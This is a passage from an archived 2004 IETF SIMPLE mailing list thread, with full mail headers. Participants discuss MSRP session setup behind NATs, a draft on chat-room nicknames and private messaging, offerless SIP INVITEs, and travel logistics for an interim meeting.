>>>>>> A is behind a NAT and does not want to use a relay. A sends
>>>>>> an INVITE with
>>>>>> no offer. B sends an offer, gets back an answer and A
>>>>>
>>>> sends the VISIT.
>>>>
>>>>>> A -> inv    -> B
>>>>>> A <- offer  <- B
>>>>>> A -> answer -> B
>>>>>> A -> visit  -> B
>>>>>>
>>>>>> B is behind a NAT. A sends an offer and B sends an answer and
>>>>>> A sends VISIT.
>>>>>> A -> offer  -> B
>>>>>> A <- answer <- B
>>>>>> A <- visit  <- B
>>>>>>
>>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>> relay is needed
>>>>>> and gets one and sends offer.
>>>>>>
>>>>>> The underlying principal is basically if you don't know what
>>>>>> port you are
>>>>>> going to receive media at (which is the case with a NAT) you
>>>>>> should not be
>>>>>> making any offers and if you make an offer the assumption is
>>>>>> that the other
>>>>>> side and send media (a VISIT) to that and have it work.
>>>>>>
>>>>>> The fundamental thing I am trying to avoid is two vendors
>>>>>> both saying they
>>>>>> have MSRP compliant systems yet still having them fail to be
>>>>>> able to talk to
>>>>>> each other because they both expect the other one to host.
>>>>>>
>>>>>
>>>>> _______________________________________________
>>>>> Simple mailing list
>>>>> Simple@ietf.org
>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
>>>>
>>>> _______________________________________________
>>>> Simple mailing list
>>>> Simple@ietf.org
>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>
>>>
>>>
>>> _______________________________________________
>>> Simple mailing list
>>> Simple@ietf.org
>>> https://www1.ietf.org/mailman/listinfo/simple
>>>
>>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:50:32 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA20545
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:50:32 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006Xa-TR
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1K76nBv020469
	for simple-archive@odin.ietf.org; Fri, 20 Feb 2004 02:06:49 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Au4kL-0005Fy-Gy
	for simple-web-archive@optimus.ietf.org; Fri, 20 Feb 2004 02:06:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA29701
	for <simple-web-archive@ietf.org>; Fri, 20 Feb 2004 02:06:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Au4k2-0003H3-00
	for simple-web-archive@ietf.org; Fri, 20 Feb 2004 02:06:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Au4iT-0002y2-00
	for simple-web-archive@ietf.org; Fri, 20 Feb 2004 02:04:54 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Au4gW-0002jX-02; Fri, 20 Feb 2004 02:02:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Au4UI-0000qa-EU; Fri, 20 Feb 2004 01:50:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Au4U8-0001oQ-SI; Fri, 20 Feb 2004 01:50:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Au4Tv-0001lk-NW
	for simple@optimus.ietf.org; Fri, 20 Feb 2004 01:49:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA21956
	for <simple@ietf.org>; Fri, 20 Feb 2004 01:49:48 -0500 (EST)
From: Miguel.An.Garcia@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Au4Ts-0001yR-00
	for simple@ietf.org; Fri, 20 Feb 2004 01:49:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Au4SN-0001eh-00
	for simple@ietf.org; Fri, 20 Feb 2004 01:48:18 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Au4PW-0000yn-00
	for simple@ietf.org; Fri, 20 Feb 2004 01:45:18 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i1K6jHT08478
	for <simple@ietf.org>; Fri, 20 Feb 2004 08:45:18 +0200 (EET)
X-Scanned: Fri, 20 Feb 2004 08:44:51 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i1K6ips6032522
	for <simple@ietf.org>; Fri, 20 Feb 2004 08:44:51 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00pwfXhY; Fri, 20 Feb 2004 08:44:50 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i1K6in711736
	for <simple@ietf.org>; Fri, 20 Feb 2004 08:44:49 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747);
	 Fri, 20 Feb 2004 08:44:48 +0200
Received: from esebe006.NOE.Nokia.com ([172.21.138.46]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747);
	 Fri, 20 Feb 2004 08:44:48 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <357AEC66DB509A4EA46CB85D7968B6AF467532@esebe006.ntc.nokia.com>
Thread-Topic: Chat sessions
Thread-Index: AcP3fQhTJk5Y5FcNSFKGqGn+GM4NcQ==
To: <simple@ietf.org>
Cc: <aki.niemi@nokia.com>
X-OriginalArrivalTime: 20 Feb 2004 06:44:48.0552 (UTC) FILETIME=[08B46A80:01C3F77D]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Chat sessions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 20 Feb 2004 08:44:47 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi:

I would like to draw your attention to a draft that Aki and me submitted =
a few days ago. We are addressing those missing components in a =
multiparty session based messaging (aka chat room). The draft is:

http://www.ietf.org/internet-drafts/draft-niemi-simple-chat-00.txt

We are focusing on two aspects at the moment: setting and displaying a =
nickname; and sending private messages to a subset of the participants =
(sidebar messaging conferences).

We have defined a convention to transport nicknames in message/cpim. =
Messages can be addressed to the whole chat room or just a subset of the =
participants. We have also provided an XML document that allows a =
participant to set her nickname and the chat room server to accept it.

Comments are welcome.

/Miguel
---
Miguel A. Garcia           tel:+358-50-4804586   =20
Nokia Research Center      Helsinki, Finland

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:52:07 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA20911
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:52:07 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjg-0006ZK-ES
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:32 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i239RitJ008237
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 04:27:44 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AySfH-00023Y-UX
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 04:27:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA13463
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 04:26:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AySeH-000712-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 04:26:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AySdG-0006l4-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 04:25:39 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyScH-0006Z5-00; Wed, 03 Mar 2004 04:24:37 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AySc2-000119-78; Wed, 03 Mar 2004 04:24:22 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRaR-0003pe-El
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:18:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10067
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:18:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRa5-0003AQ-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:18:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRZ4-00032Y-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:17:15 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRYY-0002u3-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:16:42 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-2.cisco.com with ESMTP; 03 Mar 2004 00:27:50 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i238GAY6011848;
	Wed, 3 Mar 2004 00:16:11 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user50.cisco.com [10.70.82.50])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGM05657;
	Wed, 3 Mar 2004 03:16:06 -0500 (EST)
Message-ID: <40459444.1000305@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Adam Roach <adam@dynamicsoft.com>
CC: "'Cullen Jennings'" <fluffy@cisco.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 03:16:04 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

We are working on lots of things that don't work well with existing 
devices that haven't been upgraded. A good comparable in this case is 
use of preconditions for QoS.

In this particular case, it is the device that will have the bad user 
experience that takes the initiative to send the offer with 
preconditions. And in this case, since the offer is in a response, it 
would typically only be tried if the request indicated support for the 
preconditions. When it can't do that, we have a less that desirable user 
experience, but things still work.

	Paul

Adam Roach wrote:
> That's all great. Now tell me how it works using
> the Cisco 7960 sitting on my desk right now. Assume
> that upgrading the software is not an option.
> 
> /a
> 
> 
>>-----Original Message-----
>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>Sent: Tuesday, March 02, 2004 20:09
>>To: Adam Roach
>>Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>simple@ietf.org
>>Subject: Re: [Simple] RE: MSRP & Comedia
>>
>>
>>There are a couple of solutions to the bad user experience 
>>you outline:
>>
>>- the UAC can use callerprefs to indicate what media it desires.
>>   For this to work the UAS would have to evaluate the callerprefs,
>>   which isn't currently required or expected.
>>
>>- preconditions could be used to ensure that there is a satisfactory
>>   agreement on media before alerting. In this particular 
>>case it would
>>   be the UAS that inserts the preconditions as a way of improving the
>>   user experience at its end. Most any precondition would do, though
>>   the newly proposed connectivity precondition would be quite
>>   appropriate. A hypothetical new precondition relating to 
>>negotiation
>>   of some acceptable (set of) media stream(s) might also be 
>>interesting.
>>
>>Paul
>>
>>Adam Roach wrote:
>>
>>>Okay, so, the user experience you're promoting
>>>here would lead to a situation in which you open
>>>up your IM client, type in a message for me,
>>>and my desktop hard phone starts ringing. Several
>>>seconds later, I pick up the receiver, my hardphone
>>>sends a "200 OK" response, and... well, nothing
>>>good can come of any result at this point.
>>>
>>>If your client supports audio, my voice is suddenly
>>>coming out of your PC speakers. If not, the call
>>>is torn down, your client renders an error to you,
>>>sends me a bye, and I'm sitting there holding a dead
>>>handset.
>>>
>>>This is the problem that I've pointed out occasionally
>>>for several years: this "send an INVITE with no body"
>>>approach for setting up sessions causes all kinds
>>>of problems. It was originally added for interwork
>>>with the prehistoric H.323v1 procedures, and not killed
>>>because we observed that it can be used in this clever
>>>3pcc hack -- but it invariably leads to a message that
>>>semantically means the same thing as the dialog
>>>box that I sent earlier.
>>>
>>>/a
>>>
>>>
>>>
>>>>-----Original Message-----
>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>Sent: Monday, March 01, 2004 8:38
>>>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>Cc: simple@ietf.org
>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>
>>>>
>>>>
>>>>It just sends an offer with all three and then the other ends 
>>>>selects. This
>>>>is how SIP is today - you can send an invite with no offer 
>>>>then get the
>>>>offer in the response and put the answer in the ack.
>>>>
>>>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>
>>>>
>>>>>From a protocol perspective, this sounds reasonable.
>>>>
>>>>>I think the key problem is that the first example shifts the
>>>>>decision of what type of communication is requested
>>>>
>>>>>from the caller to the callee. Without getting into a discussion
>>>>
>>>>>of whether that is the "right" thing to do, it certainly is
>>>>>going to differ from user expectations.
>>>>>
>>>>>+----------------------------------------------+
>>>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>| to start a conversation, but I have no idea  |
>>>>>| what kind. Take your best guess:             |
>>>>>|                                              |
>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>|    | Voice |  | Voice and video |  | IM |    |
>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>+----------------------------------------------+
>>>>>
>>>>>/a
>>>>>
>>>>>
>>>>>
>>>>>>-----Original Message-----
>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>Sent: Friday, February 27, 2004 0:50
>>>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>Cc: simple@ietf.org
>>>>>>Subject: MSRP & Comedia
>>>>>>
>>>>>>
>>>>>>
>>>>>>This is a half baked idea that I am just tossing out as food
>>>>>>for thought
>>>>>>
>>>>>>Consider a systems where something like the UA that sends the
>>>>>>answer sends
>>>>>>the VISIT. 
>>>>>>
>>>>>>Consider the cases where A want to set up a MSRP session with B.
>>>>>>
>>>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>>>an INVITE with
>>>>>>no offer. B sends an offer, gets back an answer and A 
>>>>>
>>>>sends the VISIT.
>>>>
>>>>
>>>>>>A -> inv    -> B
>>>>>>A <- offer  <- B
>>>>>>A -> answer -> B
>>>>>>A -> visit  -> B
>>>>>>
>>>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>A sends VISIT.
>>>>>>A -> offer  -> B
>>>>>>A <- answer <- B
>>>>>>A <- visit  <- B
>>>>>>
>>>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>relay is needed
>>>>>>and gets one and sends offer.
>>>>>>
>>>>>>The underlying principal is basically if you don't know what
>>>>>>port you are
>>>>>>going to receive media at (which is the case with a NAT) you
>>>>>>should not be
>>>>>>making any offers and if you make an offer the assumption is
>>>>>>that the other
>>>>>>side and send media (a VISIT) to that and have it work.
>>>>>>
>>>>>>The fundamental thing I am trying to avoid is two vendors
>>>>>>both saying they
>>>>>>have MSRP compliant systems yet still having them fail to be
>>>>>>able to talk to
>>>>>>each other because they both expect the other one to host.
>>>>>>
>>>>>
>>>>>_______________________________________________
>>>>>Simple mailing list
>>>>>Simple@ietf.org
>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
>>>>
>>>>_______________________________________________
>>>>Simple mailing list
>>>>Simple@ietf.org
>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>
>>>
>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>>
>>
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:54:08 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21324
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:54:08 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjf-0006YH-9A
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:31 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MKQnVB021292
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:26:49 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5W0X-0005XL-0P
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 15:26:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18482
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 15:26:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0U-0006Ex-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:26:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5VzX-00066P-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:25:48 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060H-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5VyU-000534-7S; Mon, 22 Mar 2004 15:24:42 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5UIB-0001pq-VC
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 13:37:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11092
	for <simple@ietf.org>; Mon, 22 Mar 2004 13:36:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5UI8-0000mJ-00
	for simple@ietf.org; Mon, 22 Mar 2004 13:36:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5UH4-0000hK-00
	for simple@ietf.org; Mon, 22 Mar 2004 13:35:47 -0500
Received: from tiere.net.avaya.com ([198.152.12.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5UGX-0000bf-00; Mon, 22 Mar 2004 13:35:14 -0500
Received: from tiere.net.avaya.com (localhost [127.0.0.1])
	by tiere.net.avaya.com (Switch-3.1.2/Switch-3.1.0) with ESMTP id i2MIY9gL015160;
	Mon, 22 Mar 2004 13:34:10 -0500 (EST)
Received: from IS0004AVEXU1.global.avaya.com (h135-64-105-51.avaya.com [135.64.105.51])
	by tiere.net.avaya.com (Switch-3.1.2/Switch-3.1.0) with ESMTP id i2MIY6gL015070;
	Mon, 22 Mar 2004 13:34:06 -0500 (EST)
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MIMEOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <AAB4B3D3CF0F454F98272CBE187FDE2F056B2946@is0004avexu1.global.avaya.com>
Thread-Topic: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings
Thread-Index: AcQQN6TjZtVpGUDETLyUk9NXeQleaAABKYVw
From: "Romascanu, Dan (Dan)" <dromasca@avaya.com>
To: "Kozdon, Peter" <Peter.Kozdon@icn.siemens.com>, <john.loughney@nokia.com>,
        <dean.willis@softarmor.com>, <sipping@ietf.org>
Cc: <gparsons@nortelnetworks.com>, <sip@ietf.org>, <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 20:35:08 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

British Airways is another company that I am aware about, operating =
daily flights from London, Heathrow to Denver and return.

Regards,

Dan



> -----Original Message-----
> From: sip-admin@ietf.org [mailto:sip-admin@ietf.org]On Behalf=20
> Of Kozdon, Peter
> Sent: 22 March, 2004 7:55 PM
> To: 'john.loughney@nokia.com'; dean.willis@softarmor.com;=20
> sipping@ietf.org
> Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> Subject: RE: [Sip] RE: [Sipping] Proposed dates for SIPish=20
> interim meetings
>=20
>=20
> The closest airport is Denver International (45 minutes=20
> drive)  - there is
> at least 1 direct flight from Europe (LH via Frankfurt)=20
>=20
> -----Original Message-----
> From: sip-admin@ietf.org [mailto:sip-admin@ietf.org] On Behalf Of
> john.loughney@nokia.com
> Sent: Sunday, March 21, 2004 10:13 PM
> To: dean.willis@softarmor.com; sipping@ietf.org
> Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> Subject: [Sip] RE: [Sipping] Proposed dates for SIPish=20
> interim meetings
>=20
> Dean,
>=20
> > As I understand it, the leading candidate for venue is the=20
> Boulderama=20
> > in Boulder, Colorado. Rohan's current proposal is to ask=20
> each attendee=20
> > to contribute $50 toward meeting fees (princiaplly, renting=20
> the room).=20
> > Of course, if somebody wants to sponsor the meeting and pick up the
>=20
> Is there an option of someone hosting the meeting?  This is probably
> easier to do than finding someone to foot the bill.  =09
>=20
> Also, Boulder is 3 to 4 hops away from Europe, which seems=20
> sub-optimal ...
>=20
> John
>=20
>=20
> _______________________________________________
> Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol Use
> sip-implementors@cs.columbia.edu for questions on current sip Use
> sipping@ietf.org for new developments on the application of sip
>=20
> _______________________________________________
> Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:54:08 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21325
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:54:08 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rje-0006YH-8O
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:30 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1T7O1hK019638
	for simple-archive@odin.ietf.org; Sun, 29 Feb 2004 02:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxLIu-00056b-HF
	for simple-web-archive@optimus.ietf.org; Sun, 29 Feb 2004 02:24:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA10054
	for <simple-web-archive@ietf.org>; Sun, 29 Feb 2004 02:23:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLIq-00001q-00
	for simple-web-archive@ietf.org; Sun, 29 Feb 2004 02:23:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxLHq-0007hb-00
	for simple-web-archive@ietf.org; Sun, 29 Feb 2004 02:22:55 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLH0-0007af-00; Sun, 29 Feb 2004 02:22:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxLGz-00047w-Lf; Sun, 29 Feb 2004 02:22:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxLGh-00040C-7U
	for simple@optimus.ietf.org; Sun, 29 Feb 2004 02:21:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09791
	for <simple@ietf.org>; Sun, 29 Feb 2004 02:21:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLGd-0007XS-00
	for simple@ietf.org; Sun, 29 Feb 2004 02:21:39 -0500
